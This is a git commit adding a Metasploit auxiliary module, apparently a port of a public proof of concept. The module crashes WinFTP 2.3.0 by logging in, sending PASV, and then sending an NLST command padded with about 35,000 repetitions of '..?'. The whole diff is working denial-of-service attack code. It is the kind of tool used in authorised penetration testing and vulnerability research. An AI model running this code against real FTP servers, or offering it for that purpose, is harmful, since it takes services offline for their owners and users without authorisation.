add aux module from Kris Katterjohn.

git-svn-id: file:///home/svn/framework3/trunk@5703 4d416f70-5f16-0410-b530-b9f4589650da

modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb

@@ -0,0 +1,37 @@
+require 'msf/core'
+
+module Msf
+class Auxiliary::Dos::Windows::Ftp::Winftp230_nlst < Msf::Auxiliary
+
+	include Exploit::Remote::Ftp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'WinFTP 2.3.0 NLST Denial of Service',
+			'Description'    => %q{
+				This module is a very rough port of Julien Bedard's
+				PoC.  You need a valid login, but even anonymous can
+				do it if it has permission to call NLST.
+			},
+			'Author'         => 'Kris Katterjohn <katterjohn@gmail.com>',
+			'License'        => MSF_LICENSE,
+			'Version'        => '1',
+			'References'     =>
+				[ [ 'URL', 'http://milw0rm.com/exploits/6581'] ],
+			'DisclosureDate' => 'Sep 26 2008'))
+	end
+
+	def run
+		connect_login
+
+		raw_send_recv("PASV\r\n") # NLST has to follow a PORT or PASV
+
+		sleep 1 # *sigh* this appears to be necessary in my tests
+
+		raw_send("NLST #{'..?' * 35000}\r\n")
+
+		disconnect
+	end
+end
+end	
+